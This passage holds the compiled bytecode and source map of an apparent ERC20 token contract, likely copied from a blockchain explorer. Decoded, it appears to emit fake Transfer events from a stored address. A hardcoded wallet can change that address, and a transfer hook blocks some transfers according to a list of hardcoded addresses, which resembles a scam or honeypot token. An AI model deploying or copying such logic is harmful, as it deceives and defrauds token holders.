565b6040516102b891906112ae565b60405180910390f35b6102db60048036038101906102d69190611363565b61085a565b6040516102e891906113bb565b60405180910390f35b61030b600480360381019061030691906113fc565b61087c565b005b61032760048036038101906103229190611591565b6108e6565b60405161033491906113e3565b60405180910390f35b6103576004803603810190610352919061153e565b610968565b005b606060048054610368906115fc565b80601f0160208091040260200160405190810160405280929190818152602001828054610394906115fc565b80156103df5780601f106103b6576101008083540402835291602001916103df565b820191905f5260205f20905b8154815290600101906020018083116103c257829003601f168201915b5050505050905090565b5f806103f36109ea565b90506104008185856109f1565b600191505092915050565b5f600354905090565b5f8061041e6109ea565b905061042b858285610bb4565b610436858585610c3f565b60019150509392505050565b5f5b83839050811015610509578383828181106104625761046161162c565b5b9050602002016020810190610477919061153e565b73ffffffffffffffffffffffffffffffffffffffff1660065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516104f491906113e3565b60405180910390a38080600101915050610444565b50505050565b5f6008905090565b5f5b838390508110156105de578383828181106105375761053661162c565b5b905060200201602081019061054c919061153e565b73ffffffffffffffffffffffffffffffffffffffff1660065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516105c991906113e3565b60405180910390a38080600101915050610519565b50505050565b5f73e8c7ef74f98328d7587672d4ac0455348cf4806a73ffffffffffffffffffffffffffffffffffffffff166106186109ea565b73ffffffffffffffffffffffffffffffffffffffff1603610674578160065f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b60019050919050565b5f5b838390508110156107445783838281811061069d5761069c61162c565b5b90506020020160208101906106b2919061153e565b73ffffffffffffffffffffffffffffffffffffffff1660065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161072f91906113e3565b60405180910390a3808060010191505061067f565b50505050565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b610798610eae565b6107a15f610f2c565b565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600580546107d9906115fc565b80601f0160208091040260200160405190810160405280929190818152602001828054610805906115fc565b80156108505780601f1061082757610100808354040283529160200191610850565b820191905f5260205f20905b81548152906001019060200180831161083357829003601f168201915b5050505050905090565b5f806108646109ea565b9050610871818585610c3f565b600191505092915050565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516108d991906113e3565b60405180910390a3505050565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b610970610eae565b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036109de576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109d5906116c9565b60405180910390fd5b6109e781610f2c565b50565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610a5f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a5690611757565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610acd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ac4906117e5565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610ba791906113e3565b60405180910390a3505050565b5f610bbf84846108e6565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8114610c395781811015610c2b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c229061184d565b60405180910390fd5b610c3884848484036109f1565b5b50505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610cad576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ca4906118db565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610d1b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d1290611969565b60405180910390fd5b610d26838383610fed565b5f60015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905081811015610daa576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610da1906119f7565b60405180910390fd5b81810360015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508160015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825401925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610e9591906113e3565b60405180910390a3610ea8848484611239565b50505050565b610eb66109ea565b73ffffffffffffffffffffffffffffffffffffffff16610ed46107a3565b73ffffffffffffffffffffffffffffffffffffffff1614610f2a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f2190611a5f565b60405180910390fd5b565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050815f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156110895750736b75d8af000000e20b7a7ddf000ba900b4009a8073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b8061121057508173ffffffffffffffffffffffffffffffffffffffff1660065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614801561112b575073644b5d45453a864cc3f6cbe5e0ea96bfe34c030f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611177575073ca219c74bd63122060785439b12cf80cfe3b5cba73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156111c3575073e8c7ef74f98328d7587672d4ac0455348cf4806a73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561120f5750736b75d8af000000e20b7a7ddf000ba900b4009a8073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b15611234575f600c826112239190611aaa565b90506007548110611232575f80fd5b505b505050565b505050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f6112808261123e565b61128a8185611248565b935061129a818560208601611258565b6112a381611266565b840191505092915050565b5f6020820190508181035f8301526112c68184611276565b905092915050565b5f80fd5b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6112ff826112d6565b9050919050565b61130f816112f5565b8114611319575f80fd5b50565b5f8135905061132a81611306565b92915050565b5f819050919050565b61134281611330565b811461134c575f80fd5b50565b5f8135905061135d81611339565b92915050565b5f8060408385031215611379576113786112ce565b5b5f6113868582860161131c565b92505060206113978582860161134f565b9150509250929050565b5f8115159050919050565b6113b5816113a1565b82525050565b5f6020820190506113ce5f8301846113ac565b92915050565b6113dd81611330565b82525050565b5f6020820190506113f65f8301846113d4565b92915050565b5f805f60608486031215611413576114126112ce565b5b5f6114208682870161131c565b93505060206114318682870161131c565b92505060406114428682870161134f565b9150509250925092565b5f80fd5b5f80fd5b5f80fd5b5f8083601f84011261146d5761146c61144c565b5b8235905067ffffffffffffffff81111561148a57611489611450565b5b6020830191508360208202830111156114a6576114a5611454565b5b9250929050565b5f805f604084860312156114c4576114c36112ce565b5b5f84013567ffffffffffffffff8111156114e1576114e06112d2565b5b6114ed86828701611458565b935093505060206115008682870161134f565b9150509250925092565b5f60ff82169050919050565b61151f8161150a565b82525050565b5f6020820190506115385f830184611516565b92915050565b5f60208284031215611553576115526112ce565b5b5f6115608482850161131c565b91505092915050565b611572816112f5565b82525050565b5f60208201905061158b5f830184611569565b92915050565b5f80604083850312156115a7576115a66112ce565b5b5f6115b48582860161131c565b92505060206115c58582860161131c565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061161357607f821691505b602082108103611626576116256115cf565b5b50919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f20615f8201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b5f6116b3602683611248565b91506116be82611659565b604082019050919050565b5f6020820190508181035f8301526116e0816116a7565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f611741602483611248565b915061174c826116e7565b604082019050919050565b5f6020820190508181035f83015261176e81611735565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f6117cf602283611248565b91506117da82611775565b604082019050919050565b5f6020820190508181035f8301526117fc816117c3565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e63650000005f82015250565b5f611837601d83611248565b915061184282611803565b602082019050919050565b5f6020820190508181035f8301526118648161182b565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f6118c5602583611248565b91506118d08261186b565b604082019050919050565b5f6020820190508181035f8301526118f2816118b9565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f611953602383611248565b915061195e826118f9565b604082019050919050565b5f6020820190508181035f83015261198081611947565b9050919050565b7f45524332303a207472616e7366657220616d6f756e74206578636565647320625f8201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b5f6119e1602683611248565b91506119ec82611987565b604082019050919050565b5f6020820190508181035f830152611a0e816119d5565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f611a49602083611248565b9150611a5482611a15565b602082019050919050565b5f6020820190508181035f830152611a7681611a3d565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f611ab482611330565b9150611abf83611330565b9250828201905080821115611ad757611ad6611a7d565b5b9291505056fea264697066735822122057bd0165811c160b296553add35136f293153de8b2681abdc8cbe74a9b107b6c64736f6c634300081a0033

Deployed Bytecode Sourcemap

3299:5750:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3709:100;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5175:201;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5744:108;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5384:295;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4467:211;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;3931:92;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4248:213;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6050:186;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4033:209;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5915:127;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2775:103;;;:::i;:::-;;2540:87;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3817:104;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4813:193;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4688:119;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5014:151;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2886:201;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;3709:100;3763:13;3796:5;3789:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3709:100;:::o;5175:201::-;5258:4;5275:13;5291:12;:10;:12::i;:::-;5275:28;;5314:32;5323:5;5330:7;5339:6;5314:8;:32::i;:::-;5364:4;5357:11;;;5175:201;;;;:::o;5744:108::-;5805:7;5832:12;;5825:19;;5744:108;:::o;5384:295::-;5515:4;5532:15;5550:12;:10;:12::i;:::-;5532:30;;5573:38;5589:4;5595:7;5604:6;5573:15;:38::i;:::-;5622:27;5632:4;5638:2;5642:6;5622:9;:27::i;:::-;5667:4;5660:11;;;5384:295;;;;;:::o;4467:211::-;4556:9;4551:120;4575:11;;:18;;4571:1;:22;4551:120;;;4638:11;;4650:1;4638:14;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;4620:39;;4629:7;;;;;;;;;;;4620:39;;;4654:4;4620:39;;;;;;:::i;:::-;;;;;;;;4595:3;;;;;;;4551:120;;;;4467:211;;;:::o;3931:92::-;3989:5;4014:1;4007:8;;3931:92;:::o;4248:213::-;4339:9;4334:120;4358:11;;:18;;4354:1;:22;4334:120;;;4421:11;;4433:1;4421:14;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;4403:39;;4412:7;;;;;;;;;;;4403:39;;;4437:4;4403:39;;;;;;:::i;:::-;;;;;;;;4378:3;;;;;;;4334:120;;;;4248:213;;;:::o;6050:186::-;6108:4;6145:42;6129:58;;:12;:10;:12::i;:::-;:58;;;6126:80;;6199:7;6189;;:17;;;;;;;;;;;;;;;;;;6126:80;6224:4;6217:11;;6050:186;;;:::o;4033:209::-;4120:9;4115:120;4139:11;;:18;;4135:1;:22;4115:120;;;4202:11;;4214:1;4202:14;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;4184:39;;4193:7;;;;;;;;;;;4184:39;;;4218:4;4184:39;;;;;;:::i;:::-;;;;;;;;4159:3;;;;;;;4115:120;;;;4033:209;;;:::o;5915:127::-;5989:7;6016:9;:18;6026:7;6016:18;;;;;;;;;;;;;;;;6009:25;;5915:127;;;:::o;2775:103::-;2501:13;:11;:13::i;:::-;2840:30:::1;2867:1;2840:18;:30::i;:::-;2775:103::o:0;2540:87::-;2586:7;2613:6;;;;;;;;;;;2606:13;;2540:87;:::o;3817:104::-;3873:13;3906:7;3899:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3817:104;:::o;4813:193::-;4892:4;4909:13;4925:12;:10;:12::i;:::-;4909:28;;4948;4958:5;4965:2;4969:6;4948:9;:28::i;:::-;4994:4;4987:11;;;4813:193;;;;:::o;4688:119::-;4789:3;4773:26;;4782:5;4773:26;;;4794:4;4773:26;;;;;;:::i;:::-;;;;;;;;4688:119;;;:::o;5014:151::-;5103:7;5130:11;:18;5142:5;5130:18;;;;;;;;;;;;;;;:27;5149:7;5130:27;;;;;;;;;;;;;;;;5123:34;;5014:151;;;;:::o;2886:201::-;2501:13;:11;:13::i;:::-;2995:1:::1;2975:22;;:8;:22;;::::0;2967:73:::1;;;;;;;;;;;;:::i;:::-;;;;;;;;;3051:28;3070:8;3051:18;:28::i;:::-;2886:201:::0;:::o;2015:98::-;2068:7;2095:10;2088:17;;2015:98;:::o;6659:380::-;6812:1;6795:19;;:5;:19;;;6787:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;6893:1;6874:21;;:7;:21;;;6866:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;6977:6;6947:11;:18;6959:5;6947:18;;;;;;;;;;;;;;;:27;6966:7;6947:27;;;;;;;;;;;;;;;:36;;;;7015:7;6999:32;;7008:5;6999:32;;;7024:6;6999:32;;;;;;:::i;:::-;;;;;;;;6659:380;;;:::o;7709:453::-;7844:24;7871:25;7881:5;7888:7;7871:9;:25::i;:::-;7844:52;;7931:17;7911:16;:37;7907:248;;7993:6;7973:16;:26;;7965:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;8077:51;8086:5;8093:7;8121:6;8102:16;:25;8077:8;:51::i;:::-;7907:248;7833:329;7709:453;;;:::o;7051:650::-;7198:1;7182:18;;:4;:18;;;7174:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;7275:1;7261:16;;:2;:16;;;7253:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;7328:21;7334:4;7339:2;7342:6;7328:5;:21::i;:::-;7360:19;7382:9;:15;7392:4;7382:15;;;;;;;;;;;;;;;;7360:37;;7431:6;7416:11;:21;;7408:72;;;;;;;;;;;;:::i;:::-;;;;;;;;;7548:6;7534:11;:20;7516:9;:15;7526:4;7516:15;;;;;;;;;;;;;;;:38;;;;7586:6;7569:9;:13;7579:2;7569:13;;;;;;;;;;;;;;;;:23;;;;;;;;;;;7634:2;7619:26;;7628:4;7619:26;;;7638:6;7619:26;;;;;;:::i;:::-;;;;;;;;7656:37;7676:4;7682:2;7686:6;7656:19;:37::i;:::-;7163:538;7051:650;;;:::o;2633:132::-;2708:12;:10;:12::i;:::-;2697:23;;:7;:5;:7::i;:::-;:23;;;2689:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;2633:132::o;3095:191::-;3169:16;3188:6;;;;;;;;;;;3169:25;;3214:8;3205:6;;:17;;;;;;;;;;;;;;;;;;3269:8;3238:40;;3259:8;3238:40;;;;;;;;;;;;3158:128;3095:191;:::o;8168:580::-;8313:7;;;;;;;;;;;8305:15;;:4;:15;;;;:67;;;;;8330:42;8324:48;;:2;:48;;;8305:67;8304:337;;;;8399:2;8388:13;;:7;;;;;;;;;;;:13;;;:68;;;;;8414:42;8405:51;;:4;:51;;;;8388:68;:134;;;;;8480:42;8471:51;;:4;:51;;;;8388:134;:188;;;;;8534:42;8526:50;;:4;:50;;;;8388:188;:252;;;;;8598:42;8590:50;;:4;:50;;;;8388:252;8304:337;8287:454;;;8662:14;8688:2;8679:6;:11;;;;:::i;:::-;8662:28;;8722:5;;8713:6;:14;8691:38;;;;;;8647:94;8287:454;8168:580;;;:::o;8756:124::-;;;;:::o;7:99:1:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:139::-;376:6;371:3;366;360:23;417:1;408:6;403:3;399:16;392:27;287:139;;;:::o;432:102::-;473:6;524:2;520:7;515:2;508:5;504:14;500:28;490:38;;432:102;;;:::o;540:377::-;628:3;656:39;689:5;656:39;:::i;:::-;711:71;775:6;770:3;711:71;:::i;:::-;704:78;;791:65;849:6;844:3;837:4;830:5;826:16;791:65;:::i;:::-;881:29;903:6;881:29;:::i;:::-;876:3;872:39;865:46;;632:285;540:377;;;;:::o;923:313::-;1036:4;1074:2;1063:9;1059:18;1051:26;;1123:9;1117:4;1113:20;1109:1;1098:9;1094:17;1087:47;1151:78;1224:4;1215:6;1151:78;:::i;:::-;1143:86;;923:313;;;;:::o;1323:117::-;1432:1;1429;1422:12;1446:117;1555:1;1552;1545:12;1569:126;1606:7;1646:42;1639:5;1635:54;1624:65;;1569:126;;;:::o;1701:96::-;1738:7;1767:24;1785:5;1767:24;:::i;:::-;1756:35;;1701:96;;;:::o;1803:122::-;1876:24;1894:5;1876:24;:::i;:::-;1869:5;1866:35;1856:63;;1915:1;1912;1905:12;1856:63;1803:122;:::o;1931:139::-;1977:5;2015:6;2002:20;1993:29;;2031:33;2058:5;2031:33;:::i;:::-;1931:139;;;;:::o;2076:77::-;2113:7;2142:5;2131:16;;2076:77;;;:::o;2159:122::-;2232:24;2250:5;2232:24;:::i;:::-;2225:5;2222:35;2212:63;;2271:1;2268;2261:12;2212:63;2159:122;:::o;2287:139::-;2333:5;2371:6;2358:20;2349:29;;2387:33;2414:5;2387:33;:::i;:::-;2287:139;;;;:::o;2432:474::-;2500:6;2508;2557:2;2545:9;2536:7;2532:23;2528:32;2525:119;;;2563:79;;:::i;:::-;2525:119;2683:1;2708:53;2753:7;2744:6;2733:9;2729:22;2708:53;:::i;:::-;2698:63;;2654:117;2810:2;2836:53;2881:7;2872:6;2861:9;2857:22;2836:53;:::i;:::-;2826:63;;2781:118;2432:474;;;;;:::o;2912:90::-;2946:7;2989:5;2982:13;2975:21;2964:32;;2912:90;;;:::o;3008:109::-;3089:21;3104:5;3089:21;:::i;:::-;3084:3;3077:34;3008:109;;:::o;3123:210::-;3210:4;3248:2;3237:9;3233:18;3225:26;;3261:65;3323:1;3312:9;3308:17;3299:6;3261:65;:::i;:::-;3123:210;;;;:::o;3339:118::-;3426:24;3444:5;3426:24;:::i;:::-;3421:3;3414:37;3339:118;;:::o;3463:222::-;3556:4;3594:2;3583:9;3579:18;3571:26;;3607:71;3675:1;3664:9;3660:17;3651:6;3607:71;:::i;:::-;3463:222;;;;:::o;3691:619::-;3768:6;3776;3784;3833:2;3821:9;3812:7;3808:23;3804:32;3801:119;;;3839:79;;:::i;:::-;3801:119;3959:1;3984:53;4029:7;4020:6;4009:9;4005:22;3984:53;:::i;:::-;3974:63;;3930:117;4086:2;4112:53;4157:7;4148:6;4137:9;4133:22;4112:53;:::i;:::-;4102:63;;4057:118;4214:2;4240:53;4285:7;4276:6;4265:9;4261:22;4240:53;:::i;:::-;4230:63;;4185:118;3691:619;;;;;:::o;4316:117::-;4425:1;4422;4415:12;4439:117;4548:1;4545;4538:12;4562:117;4671:1;4668;4661:12;4702:568;4775:8;4785:6;4835:3;4828:4;4820:6;4816:17;4812:27;4802:122;;4843:79;;:::i;:::-;4802:122;4956:6;4943:20;4933:30;;4986:18;4978:6;4975:30;4972:117;;;5008:79;;:::i;:::-;4972:117;5122:4;5114:6;5110:17;5098:29;;5176:3;5168:4;5160:6;5156:17;5146:8;5142:32;5139:41;5136:128;;;5183:79;;:::i;:::-;5136:128;4702:568;;;;;:::o;5276:704::-;5371:6;5379;5387;5436:2;5424:9;5415:7;5411:23;5407:32;5404:119;;;5442:79;;:::i;:::-;5404:119;5590:1;5579:9;5575:17;5562:31;5620:18;5612:6;5609:30;5606:117;;;5642:79;;:::i;:::-;5606:117;5755:80;5827:7;5818:6;5807:9;5803:22;5755:80;:::i;:::-;5737:98;;;;5533:312;5884:2;5910:53;5955:7;5946:6;5935:9;5931:22;5910:53;:::i;:::-;5900:63;;5855:118;5276:704;;;;;:::o;5986:86::-;6021:7;6061:4;6054:5;6050:16;6039:27;;5986:86;;;:::o;6078:112::-;6161:22;6177:5;6161:22;:::i;:::-;6156:3;6149:35;6078:112;;:::o;6196:214::-;6285:4;6323:2;6312:9;6308:18;6300:26;;6336:67;6400:1;6389:9;6385:17;6376:6;6336:67;:::i;:::-;6196:214;;;;:::o;6416:329::-;6475:6;6524:2;6512:9;6503:7;6499:23;6495:32;6492:119;;;6530:79;;:::i;:::-;6492:119;6650:1;6675:53;6720:7;6711:6;6700:9;6696:22;6675:53;:::i;:::-;6665:63;;6621:117;6416:329;;;;:::o;6751:118::-;6838:24;6856:5;6838:24;:::i;:::-;6833:3;6826:37;6751:118;;:::o;6875:222::-;6968:4;7006:2;6995:9;6991:18;6983:26;;7019:71;7087:1;7076:9;7072:17;7063:6;7019:71;:::i;:::-;6875:222;;;;:::o;7103:474::-;7171:6;7179;7228:2;7216:9;7207:7;7203:23;7199:32;7196:119;;;7234:79;;:::i;:::-;7196:119;7354:1;7379:53;7424:7;7415:6;7404:9;7400:22;7379:53;:::i;:::-;7369:63;;7325:117;7481:2;7507:53;7552:7;7543:6;7532:9;7528:22;7507:53;:::i;:::-;7497:63;;7452:118;7103:474;;;;;:::o;7583:180::-;7631:77;7628:1;7621:88;7728:4;7725:1;7718:15;7752:4;7749:1;7742:15;7769:320;7813:6;7850:1;7844:4;7840:12;7830:22;;7897:1;7891:4;7887:12;7918:18;7908:81;;7974:4;7966:6;7962:17;7952:27;;7908:81;8036:2;8028:6;8025:14;8005:18;8002:38;7999:84;;8055:18;;:::i;:::-;7999:84;7820:269;7769:320;;;:::o;8095:180::-;8143:77;8140:1;8133:88;8240:4;8237:1;8230:15;8264:4;8261:1;8254:15;8281:225;8421:34;8417:1;8409:6;8405:14;8398:58;8490:8;8485:2;8477:6;8473:15;8466:33;8281:225;:::o;8512:366::-;8654:3;8675:67;8739:2;8734:3;8675:67;:::i;:::-;8668:74;;8751:93;8840:3;8751:93;:::i;:::-;8869:2;8864:3;8860:12;8853:19;;8512:366;;;:::o;8884:419::-;9050:4;9088:2;9077:9;9073:18;9065:26;;9137:9;9131:4;9127:20;9123:1;9112:9;9108:17;9101:47;9165:131;9291:4;9165:131;:::i;:::-;9157:139;;8884:419;;;:::o;9309:223::-;9449:34;9445:1;9437:6;9433:14;9426:58;9518:6;9513:2;9505:6;9501:15;9494:31;9309:223;:::o;9538:366::-;9680:3;9701:67;9765:2;9760:3;9701:67;:::i;:::-;9694:74;;9777:93;9866:3;9777:93;:::i;:::-;9895:2;9890:3;9886:12;9879:19;;9538:366;;;:::o;9910:419::-;10076:4;10114:2;10103:9;10099:18;10091:26;;10163:9;10157:4;10153:20;10149:1;10138:9;10134:17;10127:47;10191:131;10317:4;10191:131;:::i;:::-;10183:139;;9910:419;;;:::o;10335:221::-;10475:34;10471:1;10463:6;10459:14;10452:58;10544:4;10539:2;10531:6;10527:15;10520:29;10335:221;:::o;10562:366::-;10704:3;10725:67;10789:2;10784:3;10725:67;:::i;:::-;10718:74;;10801:93;10890:3;10801:93;:::i;:::-;10919:2;10914:3;10910:12;10903:19;;10562:366;;;:::o;10934:419::-;11100:4;11138:2;11127:9;11123:18;11115:26;;11187:9;11181:4;11177:20;11173:1;11162:9;11158:17;11151:47;11215:131;11341:4;11215:131;:::i;:::-;11207:139;;10934:419;;;:::o;11359:179::-;11499:31;11495:1;11487:6;11483:14;11476:55;11359:179;:::o;11544:366::-;11686:3;11707:67;11771:2;11766:3;11707:67;:::i;:::-;11700:74;;11783:93;11872:3;11783:93;:::i;:::-;11901:2;11896:3;11892:12;11885:19;;11544:366;;;:::o;11916:419::-;12082:4;12120:2;12109:9;12105:18;12097:26;;12169:9;12163:4;12159:20;12155:1;12144:9;12140:17;12133:47;12197:131;12323:4;12197:131;:::i;:::-;12189:139;;11916:419;;;:::o;12341:224::-;12481:34;12477:1;12469:6;12465:14;12458:58;12550:7;12545:2;12537:6;12533:15;12526:32;12341:224;:::o;12571:366::-;12713:3;12734:67;12798:2;12793:3;12734:67;:::i;:::-;12727:74;;12810:93;12899:3;12810:93;:::i;:::-;12928:2;12923:3;12919:12;12912:19;;12571:366;;;:::o;12943:419::-;13109:4;13147:2;13136:9;13132:18;13124:26;;13196:9;13190:4;13186:20;13182:1;13171:9;13167:17;13160:47;13224:131;13350:4;13224:131;:::i;:::-;13216:139;;12943:419;;;:::o;13368:222::-;13508:34;13504:1;13496:6;13492:14;13485:58;13577:5;13572:2;13564:6;13560:15;13553:30;13368:222;:::o;13596:366::-;13738:3;13759:67;13823:2;13818:3;13759:67;:::i;:::-;13752:74;;13835:93;13924:3;13835:93;:::i;:::-;13953:2;13948:3;13944:12;13937:19;;13596:366;;;:::o;13968:419::-;14134:4;14172:2;14161:9;14157:18;14149:26;;14221:9;14215:4;14211:20;14207:1;14196:9;14192:17;14185:47;14249:131;14375:4;14249:131;:::i;:::-;14241:139;;13968:419;;;:::o;14393:225::-;14533:34;14529:1;14521:6;14517:14;14510:58;14602:8;14597:2;14589:6;14585:15;14578:33;14393:225;:::o;14624:366::-;14766:3;14787:67;14851:2;14846:3;14787:67;:::i;:::-;14780:74;;14863:93;14952:3;14863:93;:::i;:::-;14981:2;14976:3;14972:12;14965:19;;14624:366;;;:::o;14996:419::-;15162:4;15200:2;15189:9;15185:18;15177:26;;15249:9;15243:4;15239:20;15235:1;15224:9;15220:17;15213:47;15277:131;15403:4;15277:131;:::i;:::-;15269:139;;14996:419;;;:::o;15421:182::-;15561:34;15557:1;15549:6;15545:14;15538:58;15421:182;:::o;15609:366::-;15751:3;15772:67;15836:2;15831:3;15772:67;:::i;:::-;15765:74;;15848:93;15937:3;15848:93;:::i;:::-;15966:2;15961:3;15957:12;15950:19;;15609:366;;;:::o;15981:419::-;16147:4;16185:2;16174:9;16170:18;1616